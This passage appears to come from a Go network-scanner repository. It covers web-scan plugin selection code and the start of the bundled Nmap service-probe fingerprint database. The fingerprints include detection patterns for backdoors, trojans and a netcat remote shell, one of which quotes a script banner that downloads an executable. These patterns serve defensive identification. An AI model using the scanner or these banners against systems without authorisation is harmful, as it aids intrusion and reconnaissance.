!strings.HasPrefix(url, "https://") { url = "http://" + url } urlInfo.Url = url targetInfos = append(targetInfos, urlInfo) } return targetInfos } // GetPlugins 获取Web扫描插件列表 func (s *WebScanStrategy) GetPlugins() ([]string, bool) { // 如果指定了自定义插件并且不是"all" if Common.ScanMode != "" && Common.ScanMode != "all" { requestedPlugins := parsePluginList(Common.ScanMode) if len(requestedPlugins) == 0 { requestedPlugins = []string{Common.ScanMode} } // 验证插件是否存在,不做Web类型过滤 var validPlugins []string for _, name := range requestedPlugins { if _, exists := Common.PluginManager[name]; exists { validPlugins = append(validPlugins, name) } } if len(validPlugins) > 0 { return validPlugins, true } } // 未指定或使用"all":获取所有插件,由IsPluginApplicable做类型过滤 return GetAllPlugins(), false } // LogPluginInfo 输出Web扫描插件信息 func (s *WebScanStrategy) LogPluginInfo() { allPlugins, isCustomMode := s.GetPlugins() // 如果是自定义模式,直接显示用户指定的插件 if isCustomMode { Common.LogBase(fmt.Sprintf("Web扫描模式: 使用指定插件: %s", strings.Join(allPlugins, ", "))) return } // 在自动模式下,只显示Web类型的插件 var applicablePlugins []string for _, pluginName := range allPlugins { plugin, exists := Common.PluginManager[pluginName] if exists && plugin.HasType(Common.PluginTypeWeb) { applicablePlugins = append(applicablePlugins, pluginName) } } if len(applicablePlugins) > 0 { Common.LogBase(fmt.Sprintf("Web扫描模式: 使用Web插件: %s", strings.Join(applicablePlugins, ", "))) } else { Common.LogBase("Web扫描模式: 未找到可用的Web插件") } } // IsPluginApplicable 判断插件是否适用于Web扫描 func (s *WebScanStrategy) IsPluginApplicable(plugin Common.ScanPlugin, targetPort int, isCustomMode bool) bool { // 自定义模式下运行所有明确指定的插件 if isCustomMode { return true } // 非自定义模式下,只运行Web类型插件 return plugin.HasType(Common.PluginTypeWeb) } ================================================ FILE: Core/nmap-service-probes.txt ================================================ # Nmap service detection probe list -*- mode: fundamental; -*- # $Id$ # # This is a database of custom probes and expected responses that the # Nmap Security Scanner ( https://nmap.org ) uses to # identify what services (eg http, smtp, dns, etc.) are listening on # open ports. Contributions to this database are welcome. # Instructions for obtaining and submitting service detection fingerprints can # be found in the Nmap Network Scanning book and online at # https://nmap.org/book/vscan-community.html # # This collection of probe data is (C) 1998-2020 by Insecure.Com # LLC. It is distributed under the Nmap Public Source license as # provided in the LICENSE file of the source distribution or at # https://nmap.org/data/LICENSE . Note that this license # requires you to license your own work under a compatible open source # license. If you wish to embed Nmap technology into proprietary # software, we sell alternative licenses (contact sales@insecure.com). # Dozens of software vendors already license Nmap technology such as # host discovery, port scanning, OS detection, and version detection. # For more details, see https://nmap.org/book/man-legal.html # # For details on how Nmap version detection works, why it was added, # the grammar of this file, and how to detect and contribute new # services, see https://nmap.org/book/vscan.html. # The Exclude directive takes a comma separated list of ports. # The format is exactly the same as the -p switch. Exclude T:9100-9107 # This is the NULL probe that just compares any banners given to us ##############################NEXT PROBE############################## Probe TCP NULL q|| # Wait for at least 6 seconds for data. It used to be 5, but some # smtp services have lately been instituting an artificial pause (see # FEATURE('greet_pause') in Sendmail, for example) totalwaitms 6000 # If the service closes the connection before 3 seconds, it's probably # tcpwrapped. Adjust up or down depending on your false-positive rate. tcpwrappedms 3000 match 1c-server m|^S\xf5\xc6\x1a{| p/1C:Enterprise business management server/ match 3cx-tunnel m|^\x04\0\xfb\xffLAPK| p/3CX Tunnel Protocol/ match 4d-server m|^\0\0\0H\0\0\0\x02.[^\0]*\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0$|s p/4th Dimension database server/ cpe:/a:4d_sas:4d/ match aastra-pbx m|^BUSY$| p|Aastra/Mitel 400-series PBX service port| match acap m|^\* ACAP \(IMPLEMENTATION \"CommuniGate Pro ACAP (\d[-.\w]+)\"\) | p/CommuniGate Pro ACAP server/ v/$1/ i/for mail client preference sharing/ cpe:/a:stalker:communigate_pro:$1/ match acarsd m|^g\0\0\0\x1b\0\0\0\0\0\0\0acarsd\t([\w._-]+)\tAPI-([\w._-]+)\)\0\0\0\x06\x05\0\0\0\0\0\0<\?xml | p/acarsd/ v/$1/ i/API $2/ cpe:/a:acarsd:acarsd:$1/ match acmp m|^ACMP Server Version ([\w._-]+)\r\n| p/Aagon ACMP Inventory/ v/$1/ match apachemq m|^\0\0..\x01ActiveMQ\0\0\0.\x01\0\0.*\x0cProviderName\t\0\x08ActiveMQ.*\x0fPlatformDetails\t..JVM: (\d[^,]*), [^,]*, Oracle Corporation, OS: Linux, (\d\.[\d.]+)[^,]*, ([\w_-]+).*\x0fProviderVersion\t..(\d[\w._-]*)|s p/ActiveMQ OpenWire transport/ v/$4/ i/Java $1; arch: $3/ o/Linux $2/ cpe:/a:apache:activemq:$4/ cpe:/o:linux:linux_kernel:$2/a softmatch apachemq m|^\0\0..\x01ActiveMQ\0| p/ActiveMQ OpenWire transport/ # Microsoft ActiveSync Version 3.7 Build 3083 (It's used for syncing # my ipaq it disappears when you remove the ipaq.) match activesync m|^.\0\x01\0[^\0]\0[^\0]\0[^\0]\0[^\0]\0[^\0]\0.*\0\0\0$|s p/Microsoft ActiveSync/ o/Windows/ cpe:/a:microsoft:activesync/ cpe:/o:microsoft:windows/a match activesync m|^\(\0\0\0\x02\0\0\0\x03\0\0\0\+\0\0\x003\0\0\0\0\0\0\0\x04\0\0`\x01\0\0\xff\0\0\0\0\0\0\0\0\0\0\0$|s p/Citrix ActiveSync/ o/Windows/ cpe:/o:microsoft:windows/a match adabas-d m|^Adabas D Remote Control Server Version ([\d.]+) Date [\d-]+ \(key is [0-9a-f]+\)\r\nOK> | p/Adabas D database remote control/ v/$1/ match adobe-crossdomain m|^\0$| p/Adobe cross-domain policy/ i/domain: $1; ports: $2/ # Missing trailing \0? Was like that in the submission. match adobe-crossdomain m|^[ \n]*[ \n]*$|s p/Adobe cross-domain policy/ i/domain: $1; ports: $2/ match adobe-crossdomain m|^<\?xml version=\"1\.0\"\?>\r\n\r\n \r\n \r\n\0| p/Konica Minolta printer cross-domain-policy/ # playbrassmonkey.com match adobe-crossdomain m|^<\?xml version=\"1\.0\"\?>\0$| p/Brass Monkey cross-domain-policy/ match adobe-crossdomain m|^<\?xml version="1\.0"\?>\r\n\r\n\r\n \r\n \r\n\r\n| p/Facebook cross-domain policy/ softmatch adobe-crossdomain m|^<\?xml version=\"1\.0\"\?>.*|s match afsmain m|^\+Welcome to Ability FTP Server \(Admin\)\. \[20500\]\r\n| p/Code-Crafters Ability FTP Server afsmain admin/ o/Windows/ cpe:/a:code-crafters:ability_ftp_server/ cpe:/o:microsoft:windows/a match airserv-ng m|^\x05\0\0\x01.\0\0\0\0....\xff\xff\xff.\0\0\0\0\0\0\0.\0\0\0\0\0\x0fB@\0\0\0.\x80\0\0\0\xff\xff\xff\xff\xff\xff|s p/airserv-ng/ cpe:/a:aircrack-ng:airserv-ng/ match altiris-agent m|^<\0r\0e\0s\0p\0o\0n\0s\0e\0>\0C\0o\0n\0n\0e\0c\0t\0e\0d\0 \0t\0o\0 [\0\d.]*<\0/\0r\0e\0s\0p\0o\0n\0s\0e\0>\0$| p/Altiris remote monitoring agent/ # AMANDA index server 2.4.2p2 on Linux 2.4 match amanda m|^220 ([-.\w]+) AMANDA index server \((\d[-.\w ]+)\) ready\.\r\n| p/Amanda backup system index server/ v/$2/ o/Unix/ h/$1/ cpe:/a:amanda:amanda:$2/ match amanda m|^501 Could not read config file [^!\r\n]+!\r\n220 ([-.\w]+) AMANDA index server \(([-\w_.]+)\) ready\.\r\n| p/Amanda backup system index server/ v/$2/ i/broken: config file not found/ h/$1/ cpe:/a:amanda:amanda:$2/ match amanda m|^ld\.so\.1: amandad: fatal: (libsunmath\.so\.1): open failed: No such file or directory\n$| p/Amanda backup system index server/ i/broken: $1 not found/ cpe:/a:amanda:amanda/ match amanda m|^\n\*\* \(process:\d+\): CRITICAL \*\*: GLib version too old \(micro mismatch\): Amanda was compiled with glib-[\d.]+, but linking with ([\d.]+)\n| p/Amanda backup system index server/ i/broken: GLib $1 too old/ cpe:/a:amanda:amanda/ match AndroMouse m|^AMServer$|s p/AndroMouse Android remote mouse server/ match antivir m|^220 Symantec AntiVirus Scan Engine ready\.\r\n| p/Symantec AntiVirus Scan Engine/ cpe:/a:symantec:antivirus/ cpe:/a:symantec:antivirus_scan_engine/ match antivir m|^200 NOD32SS ([\d.]+) \((\d+)\)\r\n| p/NOD32 AntiVirus/ v/$1 ($2)/ cpe:/a:eset:nod32_antivirus:$1/ match anyremote m|^Set\(icons,M,6,forward,7,prev,8,stop,9,next,\*,question,0,pause,#,no\);Set\(font,small\);Set\(menu,replace,Playlist,Toggle Shuffle,Toggle Repeat\);Set\(icons,MPD,1,vol_down,2,mute,3,vol_up,4,rewind,5,play,6,forward,7,prev,8,stop,9,next,\*,question,0,pause,#,no\);Set\(font,small\);Set\(menu,replace,Playlist,Toggle Shuffle,Toggle Repeat\);$| p/anyRemote remote control daemon/ match aperio-aaf m|^| p/Aperio Algorithm Framework/ match aplus m|^\x01\xff\0\xff\x01\x1d\0\xfd\0\n\x03\x05A\+ API \(([\d.]+)\) - CCS \(([\d.]+)\)\0| p/Cleo A+/ i/API $1; CSS $2/ match app m|^\0\x01\0\x08\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x01\0\0\0\x02$| p/Cisco Application Peering Protocol/ d/load balancer/ match appguard-db m|^200 Welkom bij de Appguard UserDatabase Server v([\d.]+)\r\nWhatsUP\? .{10}\r\n| p/App Appguard UserDatabase/ v/$1/ cpe:/a:app_bv:appguard_userdatabase:$1/ # http://www.qosient.com/argus/ match argus m|^\x80\x01\0\x80\0\x80\0\0\xe5az\xcb\0\0\0\0J...............\x02\0\x01\0\0<\x01,.......\0...\0\0\0\0\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\xff\xff\xff\xff\x01\x04\0.\0\x80\x08|s p/Argus network analyzer/ v/3.0/ match arkeia m|^\0`\0\x04\0\0\0\x1810\x000\x000\x00852224\0\0\0\0\0\0\0\0\0\0\0$| p/Arkeia Network Backup/ # arkstats (part of arkeia-light 5.1.12 Backup server) on Linux 2.4.20 match arkstats m|^\0`\0\x03\0\0\0\x1810\x000\x000\x00852224\0\0\0\0\0\0\0\0\0\0\0| p/Arkeia arkstats/ match articy-server m|^# ACL Comm Layer V1\.0\r\nSalt: \S+@([\w.-]+)\r\nProcessors: \(ArticyWorkflowServer\)\r\nAuthenticators:| p/articy:draft server/ h/$1/ cpe:/a:nevigo:articy%3adraft/ match artsd m|^MCOP\0\0\0.\0\0\0\x01\0\0\0\x10aRts/MCOP-([\d.]+)\0\0\0\0|s p/artsd/ i/MCOP $1/ # Asterisk call manager - port 5038 match asterisk m|^Asterisk Call Manager/([\d.]+)\r\n| p/Asterisk Call Manager/ v/$1/ cpe:/a:digium:asterisk:$1/ match asterisk-proxy m|^Response: Follows\r\nPrivilege: Command\r\n--END COMMAND--\r\n| p/Asterisk Call Manager Proxy/ cpe:/a:digium:asterisk/ match asus-nfc m|^\0\0\0\0\0\0\0\0\x01\0\0\0\0\0\0\0\0$| p/ASUS DTNFCServer/ match asus-transfer m|^\0\0\0\0\0\0\0\0`\x06\0\0\0\0\0\0\x01\0P\x06\0{86}\xfe{510}\0\0\0\0\0\0\xfe{278}| p/ASUS Wi-Fi GO! file transfer/ cpe:/a:asus:wi-fi_go/ match audit m|^Visionsoft Audit on Demand Service\r\nVersion: ([\d.]+)\r\n\r\n| p/Visionsoft Audit on Demand Service/ v/$1/ o/Windows/ cpe:/o:microsoft:windows/a match autosys m|^([\w._-]+)\nListener for [\w._-]+ AutoSysAdapter\nEOS\nExit Code = 1001\nIP <[\d.]+> is not authorized for this request\. Please contact your Web Administrator\.\nEOS\n| p/CA AutoSys RCS Listener/ v/$1/ i/not authorized/ match avg m|^220-AVG7 Anti-Virus daemon mode scanner\r\n220-Program version ([\d.]+), engine (\d+)\r\n220-Virus Database: Version ([\d/.]+) [-\d]+\r\n| p/AVG daemon mode/ v/$1 engine $2/ i/Virus DB $3/ cpe:/a:avg:anti-virus:$1/ match avg m=^220-AVG daemon mode scanner \((?:AVG|SMTP)\)\r\n220-Program version ([\w._-]+)\r\n220-Virus Database: Version ([\w._/ -]+)\r\n220 Ready\r\n= p/AVG daemon mode/ v/$1/ i/Virus DB $2/ cpe:/a:avg:anti-virus:$1/ match afbackup m|^afbackup ([\d.]+)\n\nAF's backup server ready\.\n| p/afbackup/ v/$1/ match afbackup m|^.*, Warning on encryption key file `/etc/afbackup/cryptkey': File not readable\.\n.*, Warning: Ignoring file `/etc/afbackup/cryptkey', using compiled-in key\.\nafbackup 3\.4\n\nAF's backup server ready\.\n\x9d\x84\x0bZ$| p/afbackup/ i/using compiled-in key/ match backdoor m|^220 jeem\.mail\.pv ESMTP\r\n| p/Jeem backdoor/ i/**BACKDOOR**/ o/Windows/ cpe:/o:microsoft:windows/a match backdoor m|^\r\nUser Access Verification\r\n\r\nYour PassWord:| p/Jeem backdoor/ i/**BACKDOOR**/ o/Windows/ cpe:/o:microsoft:windows/a match backdoor m|^ \r\n$| p/OptixPro backdoor/ i/**BACKDOOR**/ o/Windows/ cpe:/o:microsoft:windows/a match backdoor m|^echo o [\d.]+ \d+ >s\r\necho common>> s\r\necho common>> s\r\necho bin>> s\r\necho get m220\.exe| p/JTRAM backdoor/ i/**BACKDOOR**/ o/Windows/ cpe:/o:microsoft:windows/a match backdoor m|^220 Bot Server \(Win32\)\r\n$| p/Gaobot backdoor/ i/**BACKDOOR**/ o/Windows/ cpe:/o:microsoft:windows/a match backdoor m|^PWD$| p/Subseven backdoor/ i/**BACKDOOR**/ o/Windows/ cpe:/o:microsoft:windows/a match backdoor m|^\r\n\[RPL\]002\r\n$| p/Subseven backdoor/ i/**BACKDOOR**/ match backdoor m|^=+\n= +RBackdoor ([\d.]+) | p/RBackdoor/ v/$1/ i/**BACKDOOR**/ o/Windows/ cpe:/o:microsoft:windows/a match backdoor m|^220 Windrone Server \(Win32\)\r\n$| p/NerdBot backdoor/ i/**BACKDOOR**/ o/Windows/ cpe:/o:microsoft:windows/a match backdoor m|^Zadej heslo:$| p/Czech "zadej heslo" backdoor/ i/**BACKDOOR**/ o/Windows/ cpe:/o:microsoft:windows/a match backdoor m|^220 Reptile welcomes you\.\.\r\n| p/Darkmoon backdoor "reptile" ftpd/ i/**BACKDOOR**/ o/Windows/ cpe:/o:microsoft:windows/a match backdoor m|^Sifre_EDIT$| p/ProRat trojan/ i/**BACKDOOR**/ o/Windows/ cpe:/o:microsoft:windows/a match backdoor m|^MZ\x90\0\x03\0\0\0\x04\0\0\0\xff\xff\0\0\xb8\0\0\0\0\0\0\0@\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0fn\0\0\xd0\0\0\0\x0e\x1f\xba\x0e\0\xb4\t\xcd!\xb8\x01L\xcd!This program cannot be run in DOS mode\.| p/Korgo worm/ i/**BACKDOOR**/ o/Windows/ cpe:/o:microsoft:windows/a match backdoor m|^\xfa\xcb\xd9\xd9\xdd\xc5\xd8\xce\xd6| p/Theef trojan/ i/**BACKDOOR**/ o/Windows/ cpe:/o:microsoft:windows/a match backdoor m|^220 SSL Connection Established - Loading Protocol\.\.\.\.\r\n| p/dhcpse.exe/ i/**BACKDOOR**/ o/Windows/ cpe:/o:microsoft:windows/a match backdoor m|^A-311 Death welcome\x001| p/Haxdoor trojan/ i/**BACKDOOR**/ o/Windows/ cpe:/o:microsoft:windows/a match backdoor m|^220 CAFEiNi [-\w_.]+ FTP server\r\n$| p/CAFEiNi trojan/ i/**BACKDOOR**/ o/Windows/ cpe:/o:microsoft:windows/a match backdoor m=^220 (?:Stny|fuck)Ftpd 0wns j0\r?\n= p/Kibuv.b worm/ i/**BACKDOOR**/ o/Windows/ cpe:/o:microsoft:windows/a match backdoor m|^220 [Sf.][tu.][nc.][yk.][F.][t.][p.][d.] [0.][w.][n.][s.] [j.][0.]\r?\n|i p/Generic Kibuv worm/ i/**BACKDOOR**/ o/Windows/ cpe:/o:microsoft:windows/a match backdoor m|^exec .* failed : No such file or directory\n$| p/netcat -e/ i/misconfigured/ match backdoor m=220-Welcome!\r\n220-\x1b\[30m/\x1b\[31m#\xa4#\xa4#\xa4#\xa4#\xa4#\xa4#\xa4#\xa4#\xa4#\xa4#\xa4#\xa4#\xa4#\xa4#\xa4#\xa4#\xa4#\xa4#\xa4#\xa4#\xa4#\xa4#\xa4#\xa4#\xa4# \r\n220-\x1b\[30m\| Current Time: \x1b\[35m[^\r\n]*\r\n220-\x1b\[30m\| Current Date: \x1b\[35m[^\r\n]*\r\n220-\x1b\[30m\\\r\n= p/Windows trojan/ i/**BACKDOOR**/ o/Windows/ cpe:/o:microsoft:windows/a # https://www.mysonicwall.com/sonicalert/searchresults.aspx?ev=article&id=733 match backdoor m|^!\* LOLNOGTFO\nDUP\n| p/Linux.Flooder.SS C&C server/ i/**MALWARE**/ o/Linux/ cpe:/o:linux:linux_kernel/a match backdoor m|^x0$| p/Blackshades connection port/ i/**BACKDOOR**/ o/Windows/ cpe:/o:microsoft:windows/a match backdoor m|^REQF\x0c1\x0c1$| p/Blackshades transfer port/ i/**BACKDOOR**/ o/Windows/ cpe:/o:microsoft:windows/a match backdoor m|^DT Key Logger -- Logging System Wide Key Presses\r\n| p/Deep Throat keylogger/ i/**MALWARE**/ match backdoor m|^:: w4ck1ng-shell \(Private Build v([\w._-]+)\) bind shell backdoor :: \n\n| p/w4ck1ng-shell/ v/$1/ i/**BACKDOOR**/ match bandwidth-test m|^\x01\0\0\0$| p/MikroTik bandwidth-test server/ match barracuda-dcagent m|^Invalid Client IP\0\0$| p/Barracuda Domain Controller Agent/ match barracuda-bcp m|^BCP-2\.0-Barracuda\n| p/Barracuda Web Security Gateway clustering protocol/ cpe:/a:barracuda:web_security_gateway/ match bas m|^4dc\r\n$| p/Blackberry Administration Service - Native Code Container/ match bas m|^4fd\r\n$| p/Blackberry Administration Service - Native Code Generator/ match bas m|^507\r\n$| p/Blackberry Administration Service/ match basestation m=^(?:MSG|SEL|ID|AIR|STA|CLK)(?:,[^,\r\n]*){9,21}\r\n= p/ADS-B flight data/ # Port 2500: http://wiki.yobi.be/wiki/Belgian_eID match beidpcscd m|^\0\0\0\x1e\xffV\x92l\xfbUL\x87\xabw\x1f\xb2\n\xd8\xef/\0\0\0\x05Alive\0\0\0\x011| p/beidpcscd Belgian eID daemon/ match bf2rcon m|^### Battlefield 2 ModManager Rcon v([\d.]+)\.\n### Digest seed: \w+\n\n| p/Battlefield 2 ModManager Remote Console/ v/$1/ match bgp m|^\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\0\x15\x03\x06\x05| i/connection rejected/ match bgp m|^\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\0\x1d\x01\x04........\0\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\0\x15\x03\x06\x05| i/open; connection rejected/ match bgp m|^\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff..\x01\x04| i/open/ # https://en.bitcoin.it/wiki/Protocol_specification#Message_structure # https://en.bitcoin.it/wiki/Protocol_specification#version # https://en.bitcoin.it/wiki/Changelog # Bitcoin "version" message prior to 20 February 2012. # 4 bytes magic number: "\xf9\xbe\xb4\xd9" # 12 bytes command: "version\0\0\0\0\0" # 4 bytes length # 4 bytes version # 8 bytes services bitfield: "\x01\0\0\0\0\0\0\0" # 8 bytes timestamp # 8 bytes client services count: "\x01\0\0\0\0\0\0\0" # 16 bytes IPv4-compatible client IP: "\0\0\0\0\0\0\0\0\0\0\xff\xff...." # 2 bytes client port # 8 bytes server services count: "\x01\0\0\0\0\0\0\0" # 16 bytes IPv4-compatible server IP: "\0\0\0\0\0\0\0\0\0\0\xff\xff...." # 2 bytes server port # 8 bytes random unique id # 1 byte subversion string length # variable subversion string # 4 bytes last block # Version 0xc8 -> 200 -> 0.2.0 match bitcoin m|^\xf9\xbe\xb4\xd9version\0\0\0\0\0\x51\0\0\0\xc8\0\0\0\x01\0\0\0\0\0\0\0........\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\xff\xff......\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\xff\xff..............\0$|s p/Bitcoin digital currency server/ v/0.2.0/ cpe:/a:bitcoin:bitcoind:0.2.0/ # Version 0x12c -> 300 -> 0.3.0 match bitcoin m|^\xf9\xbe\xb4\xd9version\0\0\0\0\0\x55\0\0\0\x2c\x01\0\0\x01\0\0\0\0\0\0\0........\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\xff\xff......\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\xff\xff..............\0....$|s p/Bitcoin digital currency server/ v/0.3.0/ cpe:/a:bitcoin:bitcoind:0.3.0/ # Version 0x136 -> 310 -> 0.3.10 match bitcoin m|^\xf9\xbe\xb4\xd9version\0\0\0\0\0\x57\0\0\0\x36\x01\0\0\x01\0\0\0\0\0\0\0........\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\xff\xff......\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\xff\xff..............\0....$|s p/Bitcoin digital currency server/ v/0.3.10/ cpe:/a:bitcoin:bitcoind:0.3.10/ match bitcoin m|^\xf9\xbe\xb4\xd9version\0\0\0\0\0\x57\0\0\0\x36\x01\0\0\x01\0\0\0\0\0\0\0........\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\xff\xff......\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\xff\xff..............\x02(\..)....$|s p/Bitcoin digital currency server/ v/0.3.10$1/ cpe:/a:bitcoin:bitcoind:0.3.10$1/ # Version 0x7bd4 -> 31700 -> 0.3.17 match bitcoin m|^\xf9\xbe\xb4\xd9version\0\0\0\0\0\x55\0\0\0\xd4\x7b\0\0\x01\0\0\0\0\0\0\0........\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\xff\xff......\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\xff\xff..............\0....$|s p/Bitcoin digital currency server/ v/0.3.17/ cpe:/a:bitcoin:bitcoind:0.3.17/ match bitcoin m|^\xf9\xbe\xb4\xd9version\0\0\0\0\0\x55\0\0\0\xd4\x7b\0\0\x01\0\0\0\0\0\0\0........\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\xff\xff......\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\xff\xff..............\x02(\..)....$|s p/Bitcoin digital currency server/ v/0.3.17$1/ cpe:/a:bitcoin:bitcoind:0.3.17$1/ # Version 0x7c38 -> 31800 -> 0.3.18 match bitcoin m|^\xf9\xbe\xb4\xd9version\0\0\0\0\0\x55\0\0\0\x38\x7c\0\0\x01\0\0\0\0\0\0\0........\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\xff\xff......\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\xff\xff..............\0....$|s p/Bitcoin digital currency server/ v/0.3.18/ cpe:/a:bitcoin:bitcoind:0.3.18/ match bitcoin m|^\xf9\xbe\xb4\xd9version\0\0\0\0\0\x55\0\0\0\x38\x7c\0\0\x01\0\0\0\0\0\0\0........\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\xff\xff......\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\xff\xff..............\x02(\..)....$|s p/Bitcoin digital currency server/ v/0.3.18$1/ cpe:/a:bitcoin:bitcoind:0.3.18$1/ # Version 0x7c9c -> 31900 -> 0.3.19 match bitcoin m|^\xf9\xbe\xb4\xd9version\0\0\0\0\0\x55\0\0\0\x9c\x7c\0\0\x01\0\0\0\0\0\0\0........\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\xff\xff......\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\xff\xff..............\0....$|s p/Bitcoin digital currency server/ v/0.3.19/ cpe:/a:bitcoin:bitcoind:0.3.19/ match bitcoin m|^\xf9\xbe\xb4\xd9version\0\0\0\0\0\x55\0\0\0\x9c\x7c\0\0\x01\0\0\0\0\0\0\0........\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\xff\xff......\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\xff\xff..............\x02(\..)....$|s p/Bitcoin digital currency server/ v/0.3.19$1/ cpe:/a:bitcoin:bitcoind:0.3.19$1/ # Version 0x7d00 -> 32000 -> 0.3.20 match bitcoin m|^\xf9\xbe\xb4\xd9version\0\0\0\0\0\x55\0\0\0\x00\x7d\0\0\x01\0\0\0\0\0\0\0........\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\xff\xff......\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\xff\xff..............\0....$|s p/Bitcoin digital currency server/ v/0.3.20/ cpe:/a:bitcoin:bitcoind:0.3.20/ match bitcoin m|^\xf9\xbe\xb4\xd9version\0\0\0\0\0\x55\0\0\0\x00\x7d\0\0\x01\0\0\0\0\0\0\0........\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\xff\xff......\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\xff\xff..............\x02(\..)....$|s p/Bitcoin digital currency server/ v/0.3.20$1/ cpe:/a:bitcoin:bitcoind:0.3.20$1/ # Version 0x7d01 -> 32001 -> 0.3.20.1 match bitcoin m|^\xf9\xbe\xb4\xd9version\0\0\0\0\0\x55\0\0\0\x01\x7d\0\0\x01\0\0\0\0\0\0\0........\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\xff\xff......\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\xff\xff..............\0....$|s p/Bitcoin digital currency server/ v/0.3.20.1/ cpe:/a:bitcoin:bitcoind:0.3.20.1/ # Version 0x7d02 -> 32002 -> 0.3.20.2 match bitcoin m|^\xf9\xbe\xb4\xd9version\0\0\0\0\0\x55\0\0\0\x02\x7d\0\0\x01\0\0\0\0\0\0\0........\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\xff\xff......\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\xff\xff..............\0....$|s p/Bitcoin digital currency server/ v/0.3.20.2/ cpe:/a:bitcoin:bitcoind:0.3.20.2/ # Version 0x7d64 -> 32100 -> 0.3.21 match bitcoin m|^\xf9\xbe\xb4\xd9version\0\0\0\0\0\x55\0\0\0\x64\x7d\0\0\x01\0\0\0\0\0\0\0........\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\xff\xff......\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\xff\xff..............\0....$|s p/Bitcoin digital currency server/ v/0.3.21/ cpe:/a:bitcoin:bitcoind:0.3.21/ match bitcoin m|^\xf9\xbe\xb4\xd9version\0\0\0\0\0\x55\0\0\0\x64\x7d\0\0\x01\0\0\0\0\0\0\0........\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\xff\xff......\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\xff\xff..............\x02(\..)....$|s p/Bitcoin digital currency server/ v/0.3.21$1/ cpe:/a:bitcoin:bitcoind:0.3.21$1/ # Version 0x7dc8 -> 32200 -> 0.3.22 match bitcoin m|^\xf9\xbe\xb4\xd9version\0\0\0\0\0\x55\0\0\0\xc8\x7d\0\0\x01\0\0\0\0\0\0\0........\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\xff\xff......\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\xff\xff..............\0....$|s p/Bitcoin digital currency server/ v/0.3.22/ cpe:/a:bitcoin:bitcoind:0.3.22/ match bitcoin m|^\xf9\xbe\xb4\xd9version\0\0\0\0\0\x55\0\0\0\xc8\x7d\0\0\x01\0\0\0\0\0\0\0........\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\xff\xff......\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\xff\xff..............\x02(\..)....$|s p/Bitcoin digital currency server/ v/0.3.22$1/ cpe:/a:bitcoin:bitcoind:0.3.22$1/ # Version 0x7e2c -> 32300 -> 0.3.23 match bitcoin m|^\xf9\xbe\xb4\xd9version\0\0\0\0\0\x55\0\0\0\x2c\x7e\0\0\x01\0\0\0\0\0\0\0........\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\xff\xff......\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\xff\xff..............\0....$|s p/Bitcoin digital currency server/ v/0.3.23/ cpe:/a:bitcoin:bitcoind:0.3.23/ match bitcoin m|^\xf9\xbe\xb4\xd9version\0\0\0\0\0\x55\0\0\0\x2c\x7e\0\0\x01\0\0\0\0\0\0\0........\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\xff\xff......\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\xff\xff..............\x02(\..)....$|s p/Bitcoin digital currency server/ v/0.3.23$1/ 